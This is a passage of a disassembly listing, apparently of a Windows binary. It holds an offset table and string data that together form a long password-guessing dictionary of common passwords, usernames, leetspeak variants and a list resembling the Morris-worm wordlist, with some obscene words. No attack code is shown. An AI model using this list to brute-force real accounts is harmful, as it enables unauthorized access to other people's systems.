		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_1	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset byte_43C80C
		align 10h
dword_4313B0	dd 10h			; DATA XREF: sub_40BE75+72w
					; sub_40EE72+B6Er ...
aZimmerman	db 'zimmerman',0        ; DATA XREF: ___:004313A4o
		align 10h
aZap		db 'zap',0              ; DATA XREF: ___:004313A0o
aYellowstone	db 'yellowstone',0      ; DATA XREF: ___:0043139Co
aXyz		db 'xyz',0              ; DATA XREF: ___:00431398o
aWisconsin	db 'wisconsin',0        ; DATA XREF: ___:00431394o
		align 10h
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: ___:00431390o
		align 10h
aWholesale	db 'wholesale',0        ; DATA XREF: ___:0043138Co
		align 4
aTty		db 'tty',0              ; DATA XREF: ___:00431388o
aTopography	db 'topography',0       ; DATA XREF: ___:00431384o
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: ___:00431380o
		align 4
aTelephone	db 'telephone',0        ; DATA XREF: ___:0043137Co
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: ___:00431378o
		align 10h
aSys		db 'sys',0              ; DATA XREF: ___:00431374o
aSupported	db 'supported',0        ; DATA XREF: ___:00431370o
		align 10h
aSuperuser	db 'superuser',0        ; DATA XREF: ___:0043136Co
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: ___:00431368o
		align 4
aSun		db 'sun',0              ; DATA XREF: ___:00431364o
aStuttgart	db 'stuttgart',0        ; DATA XREF: ___:00431360o
		align 4
aStratford	db 'stratford',0        ; DATA XREF: ___:0043135Co
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: ___:00431358o
		align 10h
aSignature	db 'signature',0        ; DATA XREF: ___:00431354o
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: ___:00431350o
		align 4
aSal		db 'sal',0              ; DATA XREF: ___:0043134Co
aRochester	db 'rochester',0        ; DATA XREF: ___:00431348o
		align 4
aRje		db 'rje',0              ; DATA XREF: ___:00431344o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: ___:00431340o
		align 4
aPub		db 'pub',0              ; DATA XREF: ___:0043133Co
aProfessor	db 'professor',0        ; DATA XREF: ___:00431338o
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: ___:00431334o
		align 4
aPondering	db 'pondering',0        ; DATA XREF: ___:00431330o
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: ___:0043132Co
		align 10h
aPersimmon	db 'persimmon',0        ; DATA XREF: ___:00431328o
		align 4
aPercolate	db 'percolate',0        ; DATA XREF: ___:00431324o
		align 4
aPam		db 'pam',0              ; DATA XREF: ___:00431320o
aPad		db 'pad',0              ; DATA XREF: ___:0043131Co
aOceanography	db 'oceanography',0     ; DATA XREF: ___:00431318o
		align 10h
aNutrition	db 'nutrition',0        ; DATA XREF: ___:00431314o
		align 4
aNew		db 'new',0              ; DATA XREF: ___:00431310o
aNet		db 'net',0              ; DATA XREF: ___:0043130Co
aMit		db 'mit',0              ; DATA XREF: ___:00431308o
aMgr		db 'mgr',0              ; DATA XREF: ___:00431304o
aMacintosh	db 'macintosh',0        ; DATA XREF: ___:00431300o
		align 4
aLiz		db 'liz',0              ; DATA XREF: ___:004312FCo
aLee		db 'lee',0              ; DATA XREF: ___:004312F8o
aLamination	db 'lamination',0       ; DATA XREF: ___:004312F4o
		align 4
aKim		db 'kim',0              ; DATA XREF: ___:004312F0o
aJoy		db 'joy',0              ; DATA XREF: ___:004312E8o
aJen		db 'jen',0              ; DATA XREF: ___:004312E4o
aInnocuous	db 'innocuous',0        ; DATA XREF: ___:004312E0o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: ___:004312DCo
		align 10h
aIbm		db 'ibm',0              ; DATA XREF: ___:004312D8o
aHappening	db 'happening',0        ; DATA XREF: ___:004312D4o
		align 10h
aHal		db 'hal',0              ; DATA XREF: ___:004312D0o
aGnu		db 'gnu',0              ; DATA XREF: ___:004312CCo
aFun		db 'fun',0              ; DATA XREF: ___:004312C8o
aForesight	db 'foresight',0        ; DATA XREF: ___:004312C4o
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: ___:004312C0o
		align 4
aExtension	db 'extension',0        ; DATA XREF: ___:004312BCo
		align 10h
aEstablish	db 'establish',0        ; DATA XREF: ___:004312B8o
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: ___:004312B4o
		align 4
aElizabeth	db 'elizabeth',0        ; DATA XREF: ___:004312B0o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: ___:004312ACo
		align 10h
aEdinburgh	db 'edinburgh',0        ; DATA XREF: ___:004312A8o
		align 4
aDos		db 'dos',0              ; DATA XREF: ___:004312A4o
aDog		db 'dog',0              ; DATA XREF: ___:004312A0o
aDiscovery	db 'discovery',0        ; DATA XREF: ___:0043129Co
		align 10h
aDesperate	db 'desperate',0        ; DATA XREF: ___:00431298o
		align 4
aDeb		db 'deb',0              ; DATA XREF: ___:00431294o
aCornelius	db 'cornelius',0        ; DATA XREF: ___:00431290o
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: ___:0043128Co
		align 4
aChristine	db 'christine',0        ; DATA XREF: ___:00431288o
		align 4
aChristina	db 'christina',0        ; DATA XREF: ___:00431284o
		align 10h
aChemistry	db 'chemistry',0        ; DATA XREF: ___:00431280o
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: ___:0043127Co
		align 4
aCat		db 'cat',0              ; DATA XREF: ___:00431278o
aCampanile	db 'campanile',0        ; DATA XREF: ___:00431274o
		align 4
aCad		db 'cad',0              ; DATA XREF: ___:00431270o
aBsd		db 'bsd',0              ; DATA XREF: ___:0043126Co
aBob		db 'bob',0              ; DATA XREF: ___:00431268o
aBicameral	db 'bicameral',0        ; DATA XREF: ___:00431264o
		align 10h
aBeethoven	db 'beethoven',0        ; DATA XREF: ___:00431260o
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: ___:0043125Co
		align 4
aAsm		db 'asm',0              ; DATA XREF: ___:00431258o
aAsd		db 'asd',0              ; DATA XREF: ___:00431254o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: ___:00431250o
		align 10h
aAnn		db 'ann',0              ; DATA XREF: ___:0043124Co
aAndromache	db 'andromache',0       ; DATA XREF: ___:00431248o
		align 10h
aAmy		db 'amy',0              ; DATA XREF: ___:00431244o
aAmorphous	db 'amorphous',0        ; DATA XREF: ___:00431240o
		align 10h
aAma		db 'ama',0              ; DATA XREF: ___:0043123Co
aAlf		db 'alf',0              ; DATA XREF: ___:00431238o
aAlbatross	db 'albatross',0        ; DATA XREF: ___:00431234o
		align 4
aAda		db 'ada',0              ; DATA XREF: ___:00431230o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: ___:0043122Co
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: ___:00431228o
		align 10h
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: ___:00431224o
		align 4
aHaxing		db 'haxing',0           ; DATA XREF: ___:00431220o
		align 10h
aHax		db 'hax',0              ; DATA XREF: ___:0043121Co
aWh0re		db 'wh0re',0            ; DATA XREF: ___:00431218o
		align 4
aHo		db 'ho',0               ; DATA XREF: ___:00431214o
		align 10h
aWh0r3		db 'wh0r3',0            ; DATA XREF: ___:00431210o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: ___:0043120Co
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: ___:00431208o
		align 10h
aWindozeme	db 'windozeME',0        ; DATA XREF: ___:00431204o
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: ___:00431200o
		align 4
aWindozexp	db 'windozexp',0        ; DATA XREF: ___:004311FCo
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: ___:004311F8o
		align 10h
aWindows98	db 'windows98',0        ; DATA XREF: ___:004311F4o
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: ___:004311F0o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: ___:004311ECo
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: ___:004311E8o
		align 10h
aMs		db 'MS',0               ; DATA XREF: ___:004311E4o
		align 4
aM		db 'M$',0               ; DATA XREF: ___:004311E0o
		align 4
aBilly		db 'billy',0            ; DATA XREF: ___:004311DCo
		align 10h
aWindose	db 'windose',0          ; DATA XREF: ___:004311D8o
aWindoze	db 'windoze',0          ; DATA XREF: ___:004311D4o
aWindowz	db 'windowz',0          ; DATA XREF: ___:004311D0o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: ___:004311CCo
aDonaldduck	db 'donaldduck',0       ; DATA XREF: ___:004311C8o
		align 10h
aAlexander	db 'Alexander',0        ; DATA XREF: ___:004311C4o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: ___:004311C0o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: ___:004311BCo
		align 4
aDudette	db 'dudette',0          ; DATA XREF: ___:004311B8o
aD00d		db 'd00d',0             ; DATA XREF: ___:004311B4o
		align 4
aLol		db 'lol',0              ; DATA XREF: ___:004311B0o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: ___:004311ACo
		align 10h
aRoscop		db 'RoscoP',0           ; DATA XREF: ___:004311A8o
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: ___:004311A4o
		align 10h
aRoss		db 'Ross',0             ; DATA XREF: ___:004311A0o
		align 4
aTestin		db 'testin',0           ; DATA XREF: ___:0043119Co
		align 10h
aTester		db 'tester',0           ; DATA XREF: ___:00431198o
		align 4
a00000000	db '00000000',0         ; DATA XREF: ___:00431194o
		align 4
aZulu		db 'zulu',0             ; DATA XREF: ___:00431190o
		align 4
aZombie		db 'zombie',0           ; DATA XREF: ___:0043118Co
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: ___:00431188o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: ___:00431184o
		align 4
aZiggy		db 'ziggy',0            ; DATA XREF: ___:00431180o
		align 10h
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: ___:0043117Co
		align 4
aZebra		db 'zebra',0            ; DATA XREF: ___:00431178o
		align 4
aYoung		db 'young',0            ; DATA XREF: ___:00431174o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: ___:00431170o
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: ___:0043116Co
aYellowst	db 'yellowst',0         ; DATA XREF: ___:00431168o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: ___:00431164o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: ___:00431160o
		align 4
aYang		db 'yang',0             ; DATA XREF: ___:0043115Co
		align 4
aYaco		db 'yaco',0             ; DATA XREF: ___:00431158o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: ___:00431154o
		align 4
aXray		db 'xray',0             ; DATA XREF: ___:00431150o
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: ___:0043114Co
		align 4
aXmen		db 'xmen',0             ; DATA XREF: ___:00431148o
		align 4
aXman		db 'xman',0             ; DATA XREF: ___:00431144o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: ___:00431140o
		align 4
aXena		db 'xena',0             ; DATA XREF: ___:0043113Co
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: ___:00431138o
aWwii		db 'wwii',0             ; DATA XREF: ___:00431134o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: ___:00431130o
		align 10h
aWorm		db 'worm',0             ; DATA XREF: ___:0043112Co
		align 4
aWork		db 'work',0             ; DATA XREF: ___:00431128o
		align 10h
aWorf		db 'worf',0             ; DATA XREF: ___:00431124o
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: ___:00431120o
		align 4
aWord		db 'word',0             ; DATA XREF: ___:0043111Co
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: ___:00431118o
		align 4
aWood		db 'wood',0             ; DATA XREF: ___:00431114o
		align 10h
aWomen		db 'women',0            ; DATA XREF: ___:00431110o
		align 4
aWombat		db 'wombat',0           ; DATA XREF: ___:0043110Co
		align 10h
aWoman		db 'woman',0            ; DATA XREF: ___:00431108o
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: ___:00431104o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: ___:00431100o
		align 4
aWizard		db 'wizard',0           ; DATA XREF: ___:004310FCo
		align 4
aWithin		db 'within',0           ; DATA XREF: ___:004310F8o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: ___:004310F4o
aWisconsi	db 'wisconsi',0         ; DATA XREF: ___:004310F0o
		align 10h
aWired		db 'wired',0            ; DATA XREF: ___:004310ECo
		align 4
aWinston	db 'winston',0          ; DATA XREF: ___:004310E8o
aWing		db 'wing',0             ; DATA XREF: ___:004310E4o
		align 4
aWine		db 'wine',0             ; DATA XREF: ___:004310E0o
		align 10h
aWindows	db 'windows',0          ; DATA XREF: ___:004310DCo
aWilma		db 'wilma',0            ; DATA XREF: ___:004310D8o
		align 10h
aWillie		db 'willie',0           ; DATA XREF: ___:004310D4o
		align 4
aWilliams	db 'williams',0         ; DATA XREF: ___:004310D0o
		align 4
aWilliam	db 'william',0          ; DATA XREF: ___:004310CCo
aWill		db 'will',0             ; DATA XREF: ___:004310C8o
		align 4
aWhore		db 'whore',0            ; DATA XREF: ___:004310C4o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: ___:004310C0o
		align 4
aWhitney	db 'whitney',0          ; DATA XREF: ___:004310BCo
aWhiting	db 'whiting',0          ; DATA XREF: ___:004310B8o
aWhite		db 'white',0            ; DATA XREF: ___:004310B4o
		align 10h
aWhisky		db 'whisky',0           ; DATA XREF: ___:004310B0o
		align 4
aWhatnot	db 'whatnot',0          ; DATA XREF: ___:004310ACo
aWhatever	db 'whatever',0         ; DATA XREF: ___:004310A8o
		align 4
aWestern	db 'western',0          ; DATA XREF: ___:004310A4o
aWest		db 'west',0             ; DATA XREF: ___:004310A0o
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: ___:0043109Co
		align 4
aWendy		db 'wendy',0            ; DATA XREF: ___:00431098o
		align 10h
aWendi		db 'wendi',0            ; DATA XREF: ___:00431094o
		align 4
aWell		db 'well',0             ; DATA XREF: ___:00431090o
		align 10h
aWeenie		db 'weenie',0           ; DATA XREF: ___:0043108Co
		align 4
aWeed		db 'weed',0             ; DATA XREF: ___:00431088o
		align 10h
aWednesda	db 'wednesda',0         ; DATA XREF: ___:00431084o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: ___:00431080o
